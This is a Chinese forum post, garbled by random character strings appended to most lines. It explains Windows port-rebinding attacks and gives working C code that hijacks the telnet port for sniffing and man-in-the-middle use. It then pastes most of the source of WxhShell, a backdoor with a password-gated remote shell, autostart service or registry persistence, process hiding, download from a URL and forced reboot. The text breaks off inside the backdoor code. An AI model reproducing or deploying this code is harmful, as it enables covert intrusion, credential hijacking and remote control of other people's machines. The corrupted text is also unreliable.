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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'Ur$jW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h7*fjw-Xz[  
Dyt}"r\  
  saddr.sin_family = AF_INET; D}\% Q #  
5 ^f>L2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #{ `(;83  
Nv #vfh9}P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #G9S[J=xe  
Q3z-v&^E9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7z F29gC  
1[X+6viE  
  这意味着什么?意味着可以进行如下的攻击: ,pf<"^li  
&:'Uh W-t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ J9@p  
oEKLuy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sbkWJy  
,/o<OjR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M@8 <^CK  
ZIpL4y =_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H$1R\rE`  
lm]4zs /A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MK~viSgi  
/pX\)wi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e:!&y\'"9  
t55 '  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0QEVL6gw  
U.?,vw'aai  
  #include 7M^!t X  
  #include =AZ>2P  
  #include 9{xP~0g  
  #include    |910xd`Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %4+r&  
  int main() C4Bh#C  
  { {!'AR`|  
  WORD wVersionRequested; QXgh[9w G  
  DWORD ret; =$Xdn'  
  WSADATA wsaData; ,Qj7wFZ  
  BOOL val; !:rQ@PSy9  
  SOCKADDR_IN saddr; 8n);NZ  
  SOCKADDR_IN scaddr; IY,&/MCh  
  int err; *>S\i7RET  
  SOCKET s; Td"f(&Hk&  
  SOCKET sc; 1 ljgq]($  
  int caddsize; SaQ_%-&#p  
  HANDLE mt; oACuI|b  
  DWORD tid;   JBi<TDm/  
  wVersionRequested = MAKEWORD( 2, 2 ); ,$W7Q  
  err = WSAStartup( wVersionRequested, &wsaData ); )Hl;9  
  if ( err != 0 ) {  SvDVxK  
  printf("error!WSAStartup failed!\n"); e~nmIy  
  return -1; >8>`-  
  } +a"A svw2  
  saddr.sin_family = AF_INET; EiIbp4*e  
   Xm\tyLY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7(Y!w8q&^  
{gK i15t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M/ R#f9W  
  saddr.sin_port = htons(23); C x$|7J=O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nmS3  
  { h"]v+u`!SM  
  printf("error!socket failed!\n"); 3D;\V&([  
  return -1; f:Ju20D  
  } c%Kv"Z%f  
  val = TRUE; m3P%E8<Q#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $&k zix  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T4o}5sq}S  
  { eP[azC"G[  
  printf("error!setsockopt failed!\n"); }c%QF  
  return -1; :6N{~[:4  
  } H:y.7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dl(cYP8L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O<."C=1~E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QZt/Rm>W0  
ZDcv-6C)B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (lS&P"Xi  
  { b\dBt#mB!  
  ret=GetLastError(); Qighvei  
  printf("error!bind failed!\n"); m0XK?;\V  
  return -1; 3DMfR ofg  
  } VX2bC(E'%  
  listen(s,2); |giK]Z  
  while(1) C03ehjT<  
  { IWuR=I$t  
  caddsize = sizeof(scaddr); VU}UK$JN  
  //接受连接请求 +Rxf~m(pV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m:II<tv  
  if(sc!=INVALID_SOCKET) 5JIa?i>B  
  { VO#]IXaP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K=+w,H# `C  
  if(mt==NULL) GkaIqBS  
  { X2q$i  
  printf("Thread Creat Failed!\n"); @M:j~  
  break; c i_XcG  
  } zZ OoPE  
  } s e2+X>@>  
  CloseHandle(mt); qRTxg%  
  } )MmMs"Um  
  closesocket(s); $zyY"yWRZ  
  WSACleanup(); < yE(p  
  return 0; u <D&RT  
  }   WI](a8bm  
  DWORD WINAPI ClientThread(LPVOID lpParam) qW $IpuK  
  { j?[fpN$  
  SOCKET ss = (SOCKET)lpParam; V ,*YM   
  SOCKET sc; FzA_-d/_dg  
  unsigned char buf[4096]; j#3}nJB%#i  
  SOCKADDR_IN saddr; ^HX={(ddK  
  long num; X -w#E3  
  DWORD val; \SA5@.W  
  DWORD ret; i1\xZ<|0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |Tf}8e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Yf7n0Etd,  
  saddr.sin_family = AF_INET; OT{qb!eYI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #@ 3RYx  
  saddr.sin_port = htons(23); Pm#B'N#*N|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) m%ghpX  
  { MU-ie*+  
  printf("error!socket failed!\n"); Xr6lYO_R  
  return -1; 9 qqy(H  
  } 'O \YL(j_e  
  val = 100; v9u/<w68!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p_!Y:\a5  
  { E9!IGci  
  ret = GetLastError(); ofj7$se  
  return -1; ?R;5ErZ  
  } #Z98D9Pv`o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DUM,dFIlvF  
  { T{{J' _s5L  
  ret = GetLastError(); }i|o":-x+  
  return -1; D>VI{p  
  } 2JUX29rER  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qs\ & C  
  { 3E y#?   
  printf("error!socket connect failed!\n"); Bwn9ZYu#r  
  closesocket(sc); Tf21K9+`L  
  closesocket(ss); )p(5$AR7  
  return -1; zPH1{|H+l  
  } uy~5!i&  
  while(1) J &u&G7#S  
  { Bl3G_Ep   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B`T|M$Ug  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f/eT4y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gx y>aS3  
  num = recv(ss,buf,4096,0); v>~ottQ|  
  if(num>0) lk2F]@_kJH  
  send(sc,buf,num,0); 05=O5<l  
  else if(num==0) ~pX&>v\T  
  break; i ao/l  
  num = recv(sc,buf,4096,0); ](x4q  
  if(num>0) G5kM0vs6L  
  send(ss,buf,num,0); R^f~aLl  
  else if(num==0) 9'Pyo`hJ#U  
  break; <E&1HeP  
  } Iwize,J~X  
  closesocket(ss); 9K Ih}Q@P  
  closesocket(sc); pvDr&n9  
  return 0 ; NA]7qb%%<  
  } [qIi_(%o  
;]i&AAbj  
RR75ke[Hs  
========================================================== [WRs1$5  
ryW1OV6?_0  
下边附上一个代码,,WXhSHELL *;,=x<  
!})/x~~e  
========================================================== @zT.&1;`  
`$nMTx]Y  
#include "stdafx.h" Ys+Dw-  
JihI1C  
#include <stdio.h> iL/(WAB_od  
#include <string.h>  S`U Gk  
#include <windows.h> V/"XC3/n*  
#include <winsock2.h> tURIDj%#p  
#include <winsvc.h> ( X)$8y  
#include <urlmon.h> InH R> ,  
cx_[Y  
#pragma comment (lib, "Ws2_32.lib") (W5E\hjJ  
#pragma comment (lib, "urlmon.lib") Y)hLu:P]  
Q7N4@w;e  
#define MAX_USER   100 // 最大客户端连接数 gK-:t  
#define BUF_SOCK   200 // sock buffer Gyjx:EM  
#define KEY_BUFF   255 // 输入 buffer 5l=B,%s  
9RE{,mos2v  
#define REBOOT     0   // 重启 "SNsOf  
#define SHUTDOWN   1   // 关机 t TA6 p  
XG<^j}H{}  
#define DEF_PORT   5000 // 监听端口 MN$j{+!Q  
^;6~=@#*C  
#define REG_LEN     16   // 注册表键长度 zt[TShD^  
#define SVC_LEN     80   // NT服务名长度 0 u,=OvU  
PJAE~|a  
// 从dll定义API f`:e#x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); prlB9,3|C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &M6)-V4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U4 m[@wF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JAC W#'4hV  
Xd)ba9{  
// wxhshell配置信息 ]n _-  
struct WSCFG { PUltn}M  
  int ws_port;         // 监听端口 `]LaX&u  
  char ws_passstr[REG_LEN]; // 口令 >BrxJw#M  
  int ws_autoins;       // 安装标记, 1=yes 0=no E&{*{u4  
  char ws_regname[REG_LEN]; // 注册表键名 Zv7@  
  char ws_svcname[REG_LEN]; // 服务名 0k:&7(j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @E,{p"{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q-o=lU"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #_2V@F+,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [9BlP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "2HRuqf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d%t]:41=Z  
,h #!!j\j6  
}; ,^26.p$  
6lT1X)  
// default Wxhshell configuration yx{Ac|<mR  
struct WSCFG wscfg={DEF_PORT, UciWrwE  
    "xuhuanlingzhe", hO;bnt%(  
    1, >:W)9o  
    "Wxhshell", 8kW9.   
    "Wxhshell", @tEVgyN  
            "WxhShell Service", @!0j)5%  
    "Wrsky Windows CmdShell Service", >h[tHM O  
    "Please Input Your Password: ", thipfS  
  1, %f6l"~y  
  "http://www.wrsky.com/wxhshell.exe", w?jmi~6  
  "Wxhshell.exe" xXA$16kd  
    }; g~FB&U4c  
XhWMvme  
// 消息定义模块 IH\k_Yf#u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iBp 71x65  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {)4Vv`n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mky$#SI11  
char *msg_ws_ext="\n\rExit."; *VHBTO9  
char *msg_ws_end="\n\rQuit."; 4TwU0N+>  
char *msg_ws_boot="\n\rReboot..."; rJ\A)O+Mq(  
char *msg_ws_poff="\n\rShutdown..."; ua|qL!L+  
char *msg_ws_down="\n\rSave to "; h,FP,w;G  
oq8~PTw  
char *msg_ws_err="\n\rErr!"; 6Wc eDY  
char *msg_ws_ok="\n\rOK!"; j"94hWb  
1G.+)*:3  
char ExeFile[MAX_PATH]; QAygr4\X^  
int nUser = 0; _9!Ru!u~  
HANDLE handles[MAX_USER]; k_P`t[YZV  
int OsIsNt; B susXW$  
PO&xi9_  
SERVICE_STATUS       serviceStatus; +bdkqdB9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Bb :tz+  
VZAdc*X  
// 函数声明 "MoV*U2s,  
int Install(void); pxI*vgfN7  
int Uninstall(void); (g7nMrE$j  
int DownloadFile(char *sURL, SOCKET wsh);  %ef+Z  
int Boot(int flag); Mh~T.;f.qq  
void HideProc(void); }[LK/@h  
int GetOsVer(void); KO)<Zh  
int Wxhshell(SOCKET wsl); _JR4 PKtx  
void TalkWithClient(void *cs); hZ2PP ^  
int CmdShell(SOCKET sock); 2i,Jnv=sR  
int StartFromService(void); O])/kS`  
int StartWxhshell(LPSTR lpCmdLine); y*uL,WH  
\?3];+c9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D|e6$O5o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6b<t|zb  
+%U@  
// 数据结构和表定义 u52; )"&=)  
SERVICE_TABLE_ENTRY DispatchTable[] = g-+p(Ll|  
{ ?MpGz CPa  
{wscfg.ws_svcname, NTServiceMain}, Q=^}B}G  
{NULL, NULL} ya:H{#%6  
}; Xo%Anqk  
`&pb`P<`  
// 自我安装 _F@FcFG1Z*  
int Install(void) HowlJ[km%  
{ F6%rH$aS  
  char svExeFile[MAX_PATH]; ;A- Ef  
  HKEY key; _^P>@ ^  
  strcpy(svExeFile,ExeFile); 5+ fS$Q  
}}_WZ},h  
// 如果是win9x系统,修改注册表设为自启动 B5I(ai7<M  
if(!OsIsNt) { ; H:qDBH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QtN0|q{af  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3>L1}zyM]  
  RegCloseKey(key); L {B#x@9tQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'kx{0J?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !%Z1" FDm/  
  RegCloseKey(key); /f# rN_4  
  return 0; .zegG=q  
    } \2NiI]t]  
  } qZ1fQN1yG  
} 0 ?2#SM  
else { YLFTf1G9  
E>4 \9  
// 如果是NT以上系统,安装为系统服务 )$th${pd#v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Uj!L:u2b  
if (schSCManager!=0) (qPZEZKx  
{ %+pXzw`B  
  SC_HANDLE schService = CreateService <78> 6u/W%  
  ( l  
  schSCManager, ImF/RKI~ "  
  wscfg.ws_svcname, xUSIck  
  wscfg.ws_svcdisp, dDm<'30?*v  
  SERVICE_ALL_ACCESS, YDmFR,047  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0hNc#x6  
  SERVICE_AUTO_START, B"Fg`s+]U  
  SERVICE_ERROR_NORMAL, -C8awtbC  
  svExeFile, G 8NSBaZe  
  NULL, Pc4sReo'  
  NULL, )L#I#%  
  NULL, 0j_!)B  
  NULL, 'fVk1Qj^  
  NULL P AKh v.7  
  ); }>0UaK  
  if (schService!=0) x`o_&09;CG  
  { hOwVm;:  
  CloseServiceHandle(schService); [6/ %ynlP  
  CloseServiceHandle(schSCManager); F[?t"d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7 'f>  
  strcat(svExeFile,wscfg.ws_svcname); D2?7=5DgS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g8qN+Gg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l7x%G@1#~W  
  RegCloseKey(key); qY0Ic5wCY  
  return 0; LXK+WB/s  
    } !MGQ+bD6  
  } dvXu?F55  
  CloseServiceHandle(schSCManager); #MBYa&Tw7  
} Ql\GL"  
} xknP `T  
=E,*8O]  
return 1; _Y~+ #Vc  
} .79'c%3}  
T %cN(0 @  
// 自我卸载 i^gzl_!  
int Uninstall(void) |5FyfDaFBX  
{ 3 F4I{L  
  HKEY key; $Z;0/\r%  
EL+}ab2S  
if(!OsIsNt) { M@gm.)d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z+vLEEX*uQ  
  RegDeleteValue(key,wscfg.ws_regname); 4)"jg[  
  RegCloseKey(key); 8<g5.$xyz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #cmj?y()  
  RegDeleteValue(key,wscfg.ws_regname); 7,(:vjIXd  
  RegCloseKey(key); ( E0be.  
  return 0; k@wxN!w;  
  } y\@XW*_?  
} 0<P -`|X  
} R"82=">v  
else { Q}m)Q('Rk  
K}wUM^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qvab >U`  
if (schSCManager!=0) \ (X~Z  
{ U9;AU] A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M<)HJ lr  
  if (schService!=0) gGZ$}vX  
  { Gb MSO  
  if(DeleteService(schService)!=0) { fo5!d@Nv  
  CloseServiceHandle(schService); ikofJl]9  
  CloseServiceHandle(schSCManager); z}pdcQl#  
  return 0; ?5+=  
  } ci*Z9&eS+  
  CloseServiceHandle(schService); X"[c[YT!%[  
  } v4 c_UFEh<  
  CloseServiceHandle(schSCManager); TYB^CVSZ  
} P [gqv3V  
} M~wJe@bc  
 o,X ?  
return 1; FfP Ce5)  
} 8-po|  
PR.?"$!D{  
// 从指定url下载文件 jT'1k[vJj  
int DownloadFile(char *sURL, SOCKET wsh) hDfsqSK0 /  
{ cQN}z Ke  
  HRESULT hr; SFh6'v'1N@  
char seps[]= "/"; Z,Q)\W<'-  
char *token; R[Pyrs!H  
char *file; q,+d\-+  
char myURL[MAX_PATH]; N.3M~0M*  
char myFILE[MAX_PATH]; n32BHOVE  
L.erP* w  
strcpy(myURL,sURL); oU{m\r  
  token=strtok(myURL,seps); 2AU_<Hr6  
  while(token!=NULL) ^S[Mg6J  
  { PiM@iS  
    file=token; r0hu?3u1?  
  token=strtok(NULL,seps);  4INO .  
  } F7L+bv   
b^FB[tZ\x  
GetCurrentDirectory(MAX_PATH,myFILE); :~g=n&x  
strcat(myFILE, "\\"); 0h$23.  
strcat(myFILE, file); mNs&*h}  
  send(wsh,myFILE,strlen(myFILE),0); S^~GI$  
send(wsh,"...",3,0); >D*L0snjV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +]Ydf^rF  
  if(hr==S_OK) NbfV6$jo  
return 0; *R8q)Q  
else qM]eK\q 1  
return 1; up`!r;5-  
/Wk\ 6  
} LUJKR6oT{>  
 :3u>%  
// 系统电源模块 @@_f''f$  
int Boot(int flag) @Vc*JEW  
{ H}X3nl\]  
  HANDLE hToken; k%Jw S_F  
  TOKEN_PRIVILEGES tkp; q]<cn2  
gNN{WFHQX:  
  if(OsIsNt) { @e+QGd;}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p)Z$q2L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mZ*!$P:vy"  
    tkp.PrivilegeCount = 1; A=E1S{C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  s y#CR4X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }<A\>  
if(flag==REBOOT) { kW5g]Q   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ll%[}C?~]?  
  return 0; $^}?98m  
} PJS\> N&u  
else { ;#cb%e3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IIs'm!"Y>  
  return 0; WHMt$W}%  
} KK}^E_v  
  } x.~Z9j  
  else { wjQu3 ,Cj  
if(flag==REBOOT) { hH|3s-o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $_% a=0  
  return 0; ,;hI yT  
} 6:#zlKYJ  
else { i4&"-ujrm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G2zfdgW${/  
  return 0; F3i+t+Jt  
} Hq3"OMGq  
} X^eTf-*T  
|Fm(  
return 1; $62!R]C9\  
} O}"VK  
pQ!NhzQ  
// win9x进程隐藏模块 (%YFcE)SRS  
void HideProc(void) M)#aX|%Mh  
{ -]\UFR  
v:nm#P%P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tc.R(F96  
  if ( hKernel != NULL ) 5ZSV)$t  
  { 8dNwi&4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7q^o sOj"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $&I##od  
    FreeLibrary(hKernel); S{zi8Oc6  
  } :4;ZO~eq!  
F /IXqj  
return; B{PI&a9~s%  
} M6[&od  
OV_Y`u7YR  
// 获取操作系统版本 nK)U.SZ  
int GetOsVer(void) `rN,*kcP  
{ JUt 7  
  OSVERSIONINFO winfo; |^[]Oy=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2I* 7?`  
  GetVersionEx(&winfo); Q &<:W4N*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 540-lMe  
  return 1; J 6D?$  
  else D4$;jz,,  
  return 0; ?<STt 9  
} 4#1[i|:M  
MuQyHEDF  
// 客户端句柄模块 !X[b 4p  
int Wxhshell(SOCKET wsl) 6*J`2U9Q  
{ 3pl/k T.\  
  SOCKET wsh; P4-`<i]!S  
  struct sockaddr_in client; q;3.pRw(  
  DWORD myID; N0,wT6.  
BxS\ "W  
  while(nUser<MAX_USER) ]Nz~4ebB  
{ Mk Er|w'  
  int nSize=sizeof(client); %QCh#v=ks  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y1GVno  
  if(wsh==INVALID_SOCKET) return 1; TL-sxED,,D  
(sHqzWh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w]J9Kv1)-  
if(handles[nUser]==0) GsA/pXx  
  closesocket(wsh); XCc /\  
else jeXv)}  
  nUser++; 1JM EniB+9  
  } p%pM3<p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8D@H4O.  
}RowAGWL  
  return 0; s<Px au+A  
} =i O K($  
'/trM%<  
// 关闭 socket B"rnSui  
void CloseIt(SOCKET wsh) .&:y+Oww~  
{ >RZ]t[)y  
closesocket(wsh); {7.."@Ob<v  
nUser--; {EE/3e@  
ExitThread(0); (n_lu= E70  
} ^1^k<  
:L*"OT7(6  
// 客户端请求句柄 A[`c2v-hF  
void TalkWithClient(void *cs) QV,X> !Nz  
{ 'Alt+O_  
J6r"_>)z  
  SOCKET wsh=(SOCKET)cs; bw\fKZ  
  char pwd[SVC_LEN]; i`U:uwW`  
  char cmd[KEY_BUFF]; %{ WZ  
char chr[1]; V3DXoRE-8i  
int i,j; Ir'(GB  
D/uGL t~D(  
  while (nUser < MAX_USER) { v10p]=HmO  
()a(PvEO  
if(wscfg.ws_passstr) { m7}PJ^*b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Z GEmQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mN Hd  
  //ZeroMemory(pwd,KEY_BUFF); v6(Yz[  
      i=0; 5G"LuA  
  while(i<SVC_LEN) { W/q-^Zkt,9  
<+I^K 7   
  // 设置超时 qDHiyg^u  
  fd_set FdRead; 03$-U0.;-  
  struct timeval TimeOut; &D0suK#  
  FD_ZERO(&FdRead); ?0 93'lA  
  FD_SET(wsh,&FdRead); c@;$6WSG^  
  TimeOut.tv_sec=8; ilJeI@  
  TimeOut.tv_usec=0; = }0M^F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {5w'.Z]0v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HxCq6Y_m<  
G8b/eWtP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A[)od   
  pwd=chr[0]; RP 'VEJ   
  if(chr[0]==0xd || chr[0]==0xa) { :ZG^`H/X1d  
  pwd=0; 6$c,#%Jt*  
  break; 7ADh  
  } aV"K%#N  
  i++; ^PA[fL"  
    } o>*vG  
.#0),JJZ[  
  // 如果是非法用户,关闭 socket B w?Kb@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &S[tI$  
} |:yQOq|  
k.=67L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q,6 y{RyS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -wv5c  
7.g)_W{7}  
while(1) { X{KWBk.1  
? g9mDe;k  
  ZeroMemory(cmd,KEY_BUFF); E)z[@Np  
%.^8&4$+  
      // 自动支持客户端 telnet标准   =qPk'n9i8  
  j=0; Q-;ltJ  
  while(j<KEY_BUFF) { N5 ITb0Tv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DwM4/m  
  cmd[j]=chr[0]; (}E-+:vFU  
  if(chr[0]==0xa || chr[0]==0xd) { uX_A4ht*  
  cmd[j]=0; . +_IpygQ  
  break; FD>j\  
  } Zkl:^!*  
  j++; u=^0n2ez  
    } ER,,K._?B  
eBiP\  
  // 下载文件 l*]9   
  if(strstr(cmd,"http://")) { /LMb~Hy,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k<W n  
  if(DownloadFile(cmd,wsh)) $mFsf)1]]?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jg#L8>p1  
  else 09?n5x!6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yas!w'  
  } K8E:8`_cx  
  else { ~@ a7RiE@  
@?ntMh6  
    switch(cmd[0]) { q@ !p  
  VesW7m*z  
  // 帮助 s)Sa KE*d  
  case '?': { +SCUS]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7+] T}4;  
    break; T3 xr Ua&  
  } `< 8Fc`;[  
  // 安装 BOqq=WY  
  case 'i': { d bU  
    if(Install()) CORX .PQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5MY+O\  
    else A6w/X`([O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~:7AHK2  
    break; PRm Z 3  
    } E.W7`zl  
  // 卸载 $$C5Q;7w!  
  case 'r': {  v|+}>g  
    if(Uninstall()) VuTH"br6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {m5tgVi&  
    else  (2vR8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N{n}]Js1D-  
    break; 6_/oVvd  
    } Bm%.f!`  
  // 显示 wxhshell 所在路径 #u+BjuZo  
  case 'p': { L^PZ\OC  
    char svExeFile[MAX_PATH]; q|m8G  
    strcpy(svExeFile,"\n\r"); 9R.IYnq  
      strcat(svExeFile,ExeFile); (?-5p;  
        send(wsh,svExeFile,strlen(svExeFile),0); wqo2iRql  
    break; 9/C0DDb  
    } j}YZl@dYV  
  // 重启 @(.?e<  
  case 'b': { (zkh`8L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  01I5,Dm  
    if(Boot(REBOOT))  N3^pFy`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|*;~:fz  
    else { }8Wp X2U  
    closesocket(wsh); #r 1 $=GY  
    ExitThread(0); aq3evm  
    } :6LOb f\01  
    break; cqeId&Cg  
    } G-oC A1UdN  
  // 关机 b><jhbv  
  case 'd': { M"F?'zTkJ  
